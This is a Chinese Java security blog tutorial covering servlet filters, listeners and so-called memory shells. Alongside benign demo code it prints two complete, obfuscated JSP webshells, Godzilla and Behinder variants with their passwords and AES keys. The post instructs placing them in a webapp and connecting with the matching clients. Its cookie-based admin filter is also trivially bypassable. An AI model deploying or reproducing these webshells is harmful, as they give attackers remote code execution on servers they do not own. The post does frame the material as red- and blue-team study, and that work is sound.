从0到1java安全2

JavaEE-过滤器-Filter

Filter被称为过滤器,过滤器实际上就是对Web资源进行拦截,做一些处理后再交给下一个过滤器或Servlet处理,通常都是用来拦截request进行处理的,也可以对返回的 response进行拦截处理。开发人员利用filter技术,可以实现对所有Web资源的管理,例如实现权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。

img

listennet(监听器)-》filter(过滤器)-》servlet(代码层)

内存马不到代码层,直接跳过了,连到数据库

img

创建测试项目,HttpServlet爆红问题

https://blog.csdn.net/bachfuck/article/details/109728214

XSSfilter过滤配置

在这里插入图片描述

TestServlet

package com.example.filterdemo.filter.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet("/test")
public class TestServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code = req.getParameter("code");
        PrintWriter out = resp.getWriter();
        out.println(code);
        out.close();
    }
}

XssFilter

package com.example.filterdemo.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import java.io.IOException;

@WebFilter("/test")
public class XssFilter implements Filter {

    @Override
    //中间件开启以后就开始运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }

    @Override
    //中间件关闭就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }

    @Override
    //doFilter路由触发方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("xss正在过滤");
        //过滤放行
        filterChain.doFilter(servletRequest,servletResponse);
    }
}

一开始就已经开启了监听器,

在这里插入图片描述

等我们访问的时候给到了执行结果(触发了init)

在这里插入图片描述

当我们停止tomcat的时候,停止过滤

在这里插入图片描述

过滤没有写过滤内容,在放行代码前进行一个判断

System.out.println("xss正在过滤");
        //Xss过滤,有payload过滤,没有放行
        HttpServletRequest requset = (HttpServletRequest) servletRequest;
        requset.getParameter("code");
        String code = requset.getParameter("code");
        if (!code.contains("<script>")){
            //没有payload
            //过滤放行
            filterChain.doFilter(servletRequest,servletResponse);
        }else{
            //存在payload
            System.out.println("可能存在xss攻击");
        }
package com.example.filterdemo.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/test")
public class XssFilter implements Filter {

    @Override
    //中间件开启以后就开始运行
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("xss开启过滤");
    }

    @Override
    //中间件关闭就自动运行
    public void destroy() {
        System.out.println("xss销毁过滤");
    }

    @Override
    //doFilter路由触发方法
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        System.out.println("xss正在过滤");
        //Xss过滤,有payload过滤,没有放行
        HttpServletRequest requset = (HttpServletRequest) servletRequest;
        requset.getParameter("code");
        String code = requset.getParameter("code");
        if (!code.contains("<script>")){
            //没有payload
            //过滤放行
            filterChain.doFilter(servletRequest,servletResponse);
        }else{
            //存在payload
            System.out.println("可能存在xss攻击");
        }


    }
}

init-》dofilter-》destroy,这样的一个执行流程

在这里插入图片描述

请求的一个过程

img

Admin权限判断

AdminServlet

package com.example.filterdemo.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("欢迎来到管理员界面");
    }
}

AdminFilter

package com.example.filterdemo.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebFilter("/admin")
public class AdminFilter implements Filter {


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("admin身份检测开启");
    }

    @Override
    public void destroy() {
        System.out.println("admin身份检测销毁");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

        //检测cookie过滤
        System.out.println("admin身份检测开始检测");
        //获取cookie
        HttpServletRequest request = (HttpServletRequest)  servletRequest;
        Cookie[] cookies= request.getCookies();
        for (Cookie c:cookies){
            String cName = c.getName(); //获取cookie名
            String cValue = c.getValue(); //获取cookie值
            System.out.println(cName);
            System.out.println(cValue);
            if (cName.contains("user") && cValue.contains("admin")){
                    filterChain.doFilter(servletRequest,servletResponse);
            }else{
                System.out.println("非admin用户"); 
            }
        }
    }
}

在这里插入图片描述

在这里插入图片描述

初探java🐎子

Config.jsp(哥斯拉🐎)

//密码:Tas9er 密钥:lfNRX4 有效载荷:JavaDynamicPayload 加密器:JAVA_AES_BASE64 写入时去掉此行

Hello Administrator!Welcome To Tas9er Godzilla JSP Console!
<%! String govsb_uV9q = "369cb3b8becea21a";
    String govsb_UkbXDu = "Tas9er";
    class govsb_3 extends /*edusb_suAZvRiR3*/ClassLoader {
        public govsb_3(ClassLoader govsb_rQic) {
            super/*edusb_a*/(govsb_rQic);
        }
        public Class govsb_xzEW3IMM(byte[] govsb_COjEHWGNDzzH3i) {
            return super./*edusb_uEIxv*/\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073/*edusb_F1xtlRscJ*/(govsb_COjEHWGNDzzH3i, 668449-668449, govsb_COjEHWGNDzzH3i.length);
        }
    }
    public byte[] govsb_ESlIWvCZu0U(byte[] govsb_VfrYhvrOtnH, boolean govsb_NPPoT6my) {
        try {
            j\u0061\u0076\u0061\u0078./*edusb_X7VbSt*/\u0063\u0072\u0079\u0070\u0074\u006f.Cipher govsb_L1tz5WVey = j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.Cipher.\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063e/*edusb_6RCTNhviQxTG*/("AES");
            govsb_L1tz5WVey.init(govsb_NPPoT6my?668449/668449:668449/668449+668449/668449,new j\u0061\u0076\u0061\u0078.\u0063\u0072\u0079\u0070\u0074\u006f.spec./*edusb_ozuS2*/SecretKeySpec/*edusb_F7GjyBjf8Ge*/(govsb_uV9q.getBytes(), "AES"));
            return govsb_L1tz5WVey.doFinal/*edusb_yyi5ieb*/(govsb_VfrYhvrOtnH);
        } catch (Exception e) {
            return null;
        }
     }
    %><%
    try {
        byte[] govsb_LTOAYraLi2x5ira = java.util.Base64./*edusb_DfK3*/\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*edusb_cGN*/decode(request.getParameter(govsb_UkbXDu));
        govsb_LTOAYraLi2x5ira = govsb_ESlIWvCZu0U(govsb_LTOAYraLi2x5ira,false);
        if (session.getAttribute/*edusb_ShWHuEfLJqtYEQ*/("payload") == null) {
            session.setAttribute("payload", new govsb_3(this.\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073()./*edusb_xy*/\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073Loader())/*edusb_aaS*/.govsb_xzEW3IMM(govsb_LTOAYraLi2x5ira));
        } else {
            request.setAttribute("parameters", govsb_LTOAYraLi2x5ira);
            java.io.ByteArrayOutputStream govsb_Bt = new java.io./*edusb_GqA*/ByteArrayOutputStream();
            Object govsb_rqB9gzq17qI = /*edusb_tacM9KaUMtutNpY*/((Class) session.getAttribute("payload"))./*edusb_BhHR*//*edusb_R*/new\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065()/*edusb_z9hk*/;
            govsb_rqB9gzq17qI.equals(govsb_Bt);
            govsb_rqB9gzq17qI.equals(pageContext);
            response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(668449-668449, 16));
            govsb_rqB9gzq17qI.toString();
            response.getWriter().write(java.util.Base64/*edusb_RxRJZOonjPE*/.getEncoder()/*edusb_Mpw0*/.encodeToString(govsb_ESlIWvCZu0U(govsb_Bt.toByteArray(),true)));
            response.getWriter().write("58D369FCC084BFABA577AAAE181233C9".substring(16));
        }
    } catch (Exception e) {
    }
%>

将上边的jsp放到webapp即可

在这里插入图片描述

内存🐎

MemoryShell

在这里插入图片描述

FilterShell

在这里插入图片描述

getALLfilter(获取所有内存马)

filtersInfo:
filterName: com.example.filterdemo.filter.AdminFilter servletNames: [] urlPatterns: [/admin]
filterName: com.example.filterdemo.filter.XssFilter servletNames: [] urlPatterns: [/test]
filterName: Tomcat WebSocket (JSR356) Filter servletNames: [] urlPatterns: [/*]
//1,2 项目本身 3为中间件

在这里插入图片描述

在这里插入图片描述

addfilterShell(新增内存马)

add完毕后,再get一下。会发现新增一个监听器。

在这里插入图片描述

在这里插入图片描述

常规功能是在Serlvet(代码层)实现木马链接,而这个注入的内存马是在Filter的,前边的Listener也可以注入内存马

在这里插入图片描述

removeFilter(移除内存马)

Config1.jsp(冰蝎🐎)

<%!  密码Tas9er 写入时去掉此行%>
Hello Administrator!
WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %>
<%!
    class tas9erCGIjbGbQt extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {
        tas9erCGIjbGbQt(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9erYK16oSMMl) {
            super(tas9erYK16oSMMl);
        }
        public Class tas9er1HtPfdAKI(byte[] tas9ernh7MjwAtK) {
            return super.d\uuuuuuuuu0065fineClass(tas9ernh7MjwAtK,0,tas9ernh7MjwAtK.length);
        }
    }
%><%
    out.println("Random Garbage Data:");
    Random tas9ersoV3r1IWc = new Random();
    int tas9er0RebXw3Z6 = tas9ersoV3r1IWc.nextInt(1234);
    int tas9erPlYa7lKMN = tas9ersoV3r1IWc.nextInt(5678);
    int tas9erYQ243vUep = tas9ersoV3r1IWc.nextInt(1357);
    int tas9erdxK2eskj9 = tas9ersoV3r1IWc.nextInt(2468);
    out.println(tas9er0RebXw3Z6+","+tas9erPlYa7lKMN+","+tas9erYQ243vUep+","+tas9erdxK2eskj9);
    String[] tas9erjLEELM31f = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};
    String tas9erw3S5Bp9gL = tas9erjLEELM31f[1] + tas9erjLEELM31f[3] + tas9erjLEELM31f[5] + tas9erjLEELM31f[7];
    if (request.getMethod().equals(tas9erw3S5Bp9gL)) {
        String tas9erN5lxMHHQL = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));
        session.setAttribute("u", tas9erN5lxMHHQL);
        Cipher tas9erxywTO5Nub = Cipher.getInstance("AES");
        tas9erxywTO5Nub.init(((tas9er0RebXw3Z6 * tas9erPlYa7lKMN + tas9erYQ243vUep - tas9erdxK2eskj9) * 0) + 3 - 1, new SecretKeySpec(tas9erN5lxMHHQL.getBytes(), "AES"));
        new tas9erCGIjbGbQt(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9er1HtPfdAKI(tas9erxywTO5Nub.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

将上边的jsp放到webapp即可

在这里插入图片描述

启动tomcat运行,访问Config.jsp,使用冰蝎连接该地址,默认密码为 Tas9er。右键也可以注入内存🐎

在这里插入图片描述

JavaEE-监听器-Listen

listen 监听动作,filter是触发动作

参考:https://blog.csdn.net/qq_52797170/article/details/124023760
-监听ServletContext、HttpSession、ServletRequest等域对象创建和销毁事件
-监听域对象的属性发生修改的事件
-监听在事件发生前、发生后做一些必要的处理
1、创建监听器
2、监听器内置方法
3、监听器触发流程
@WebListener
<listener>
    .......
</listener>

Servlet->CreatSession DelSession

CreatSession

package com.example.listendemo.Serlvet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/cs")
public class CreatSession extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        System.out.println("servlet开始创建session");

        //创建session
        req.getSession();
    }
}

DelSession

package com.example.listendemo.Serlvet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;


@WebServlet("/ds")
public class DelSession extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        System.out.println("servlet销毁session");
        //销毁session
        req.getSession().invalidate();
    }
}

listener->ListenSession

package com.example.listendemo.listener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;

@WebListener
public class ListenSession implements HttpSessionListener {
    @Override
    public void sessionCreated(HttpSessionEvent se) {
        System.out.println("Listen监听器监听到session创建");
    }

    @Override
    public void sessionDestroyed(HttpSessionEvent se) {
        System.out.println("Listen监听器监听到session销毁");
    }
}

在这里插入图片描述

在启动时,会默认拿到一个session

在这里插入图片描述

访问cs会创建一个session

在这里插入图片描述

访问ds会销毁session

在这里插入图片描述

如果多次访问cs,servlet会执行多次,listen只会执行一次监听。

在这里插入图片描述

监听器安全场景

代码审计中分析执行逻辑触发操作,红队内存马植入,蓝队清理内存马等

相关资源

https://github.com/rebeyond/Behinder
https://github.com/BeichenDream/Godzilla
https://github.com/Tas9er/ByPassBehinder
ps.给各位师傅点点start呀

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
配置一台Linux Java环境通常需要以下步骤: 1. 安装Linux操作系统:选择合适的Linux发行版,如Ubuntu、CentOS等,并根据官方文档进行安装。 2. 更新操作系统:使用包管理器,如apt或yum,更新操作系统以获取最新的软件包和安全补丁。 3. 安装Java开发工具包(JDK):从官方网站下载适合Linux的JDK版本,如OpenJDK或Oracle JDK。下载完成后,解压缩并设置JDK的环境变量。 4. 配置Java环境变量:编辑.bashrc或.profile文件添加以下行,并保存重新加载文件: ``` export JAVA_HOME=/path/to/jdk export PATH=$PATH:$JAVA_HOME/bin ``` 5. 验证Java安装:在终端中输入`java -version`命令,确认Java已成功安装并显示版本号。 6. 安装开发工具集(例如Eclipse或IntelliJ IDEA):从官方网站下载并解压缩所需的集成开发环境(IDE)。根据文档设置IDE的环境变量。 7. 验证IDE安装:启动IDE,创建一个简单的Java项目并编写代码,确认IDE能够正常运行。 8. 安装其他常用开发工具:根据需要,安装并配置其他常用的开发工具,如Git版本控制系统、Maven构建工具等。 9. 创建和配置项目目录:根据需求创建项目目录,并配置所需的文件结构和构建脚本。 10. 编写和运行Java应用:使用任选的文本编辑器或IDE编写Java代码,并使用命令行或IDE运行和调试应用程序。 这些步骤是配置一台Linux Java环境的基本步骤,具体的配置过程会根据个人需求和偏好有所不同。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值